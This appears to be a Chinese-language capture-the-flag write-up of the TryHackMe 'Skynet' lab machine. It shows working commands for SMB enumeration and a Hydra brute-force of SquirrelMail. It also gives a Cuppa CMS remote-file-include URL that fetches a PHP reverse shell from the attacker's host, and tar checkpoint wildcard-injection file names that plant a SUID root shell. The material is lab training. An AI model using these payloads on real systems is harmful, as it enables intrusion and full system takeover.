TryHackMe | Skynet

发布时间 2023-07-14 21:20:37作者: L0VEhzzz

TryHackMe | Skynet

信息收集

nmap枚举,139/445端口开放,可知目标机开启了SMB服务

image-20230714170028297

dirsearch扫描

image-20230714170229646

Task 1 Deploy and compromise the vulnerable machine!

枚举SMB共享

smbclient -L \\ip
或者输入 enum4linux -S $ip
 

密码那里直接按回车就行

获取到一些可能能访问的SMB服务账号:anonymous、milesdyson

image-20230714170444376

smbclient //10.10.90.106/anonymous

连接后获取这些共享文件

image-20230714172045088

>cat attention.txt 
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

意思就是要员工更改密码,然后我们看到这个发送信息的人的名字,是不是跟我们另外一个共享milesdyson一样
那也就是说,管理员账户为milesdyson

log23.txt都是空的,log1.txt可能是一个密码记录

image-20230714172236763

那么该怎么拿到管理员密码呢,所以这时候我们得换个地方找思路

我们还有一个之前的dirsearch扫描,有个二级目录/squirrelmail很奇特,访问一下

是一个邮箱后台登入网页

image-20230714172706663

使用Hydra 爆破上图中的邮件服务器登录页面

随便试试登入一下

image-20230714173033290

然后可以看到请求是

login_username=admin&secretkey=admin&js_autodetect_results=1&just_logged_in=1
 

那么我们就可以构造payload去爆破

hydra -l milesdyson -P log1.txt 10.10.90.106 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."

Argument Description
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典
-l Displays only listening sockets 仅显示侦听套接字
-P 指定密码字典

然后跑出来了结果

image-20230714174112147

爆破出的账号密码登入

image-20230714174157640

有个smb password邮件,打开就可以看到跟新后的密码

image-20230714174240680

接着就可以去登入smb

smbclient -U milesdyson //10.10.90.106/milesdyson
#密码:)s{A&2Z=F^n_E.B`

 

有个important.txt,抓来看看

image-20230714174557195

得到一个隐藏的二级目录

image-20230714174646438

打开后没啥信息,对这个二级目录再扫描一次

gobuster dir -u http://10.10.90.106/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error
dirsearch -u http://10.10.90.106/45kra24zxs28v3yd/
 

又有后台了

image-20230714175111186

http://10.10.90.106/45kra24zxs28v3yd/administrator/

打开是一个cuppa CMS

image-20230714175223967

然后再exploit上搜索cuppa相关漏洞,找到了一个文件包含漏洞

image-20230714181044730

漏洞点如下

image-20230714202504468

所以payload构造如下,远程文件包含
http://10.10.143.7/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://ip/php-reverse-shell.php 
//http://10.10.143.7/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.17.58.33/php-reverse-shell.php 
 

php-reverse-shell下载地址

记得修改一下文件里面的ip

image-20230714203259874

然后python运行http服务,本机监听端口

image-20230714203404172

执行完payload后

image-20230714203541154

image-20230714203902490

提权

这个是看佬的博客学到的一个转shell方式

which python #验证目标机有无Python环境
python -c "import pty ; pty.spawn('/bin/bash')" 
#利用Python环境将当前shell切换为一个更稳定的shell
 

image-20230714204304218

我们查看一下backup文件夹内文件内容

image-20230714204422521

image-20230714204549976

backup.sh内容和作用是--切换目录至/var/www/html 并将该目录下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目录下;
通过查看/etc/crontab即定时任务可知,backup.sh文件是一个定时任务,该文件每分钟都会以root身份执行。
 

那么我们是不是可以在文件名字上动一下手脚,让压缩执行时候执行我们的恶意代码

我们发现通过tar命令可以利用一个名为checkpoint的参数,checkpoint还可以与 checkpoint-action 标志串联使用,checkpoint-action标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。

backup.sh脚本中使用的通配符*将对 /var/www/html 目录中的所有文件和文件夹执行归档命令,因此我们可以通过在/var/www/html下添加 –checkpoint=1 文件(启用检查点功能)和 –checkpoint-action=exec=xxx 文件

那么当 tar 处理到以上文件时,相关的文件名将会被有效地视为tar命令的参数--从而执行某些操作。

首先我们先创建一个需要被执行的文件

echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh
 

然后在/var/www/html目录下执行命令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 命令行中的参数:

touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh newroot.sh"
 

image-20230714210339428

大约一分钟后,cron 计划作业(即backups目录下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot)我们可以使用 -p 标志执行该SUID文件

image-20230714210501069

 

image-20230714210604032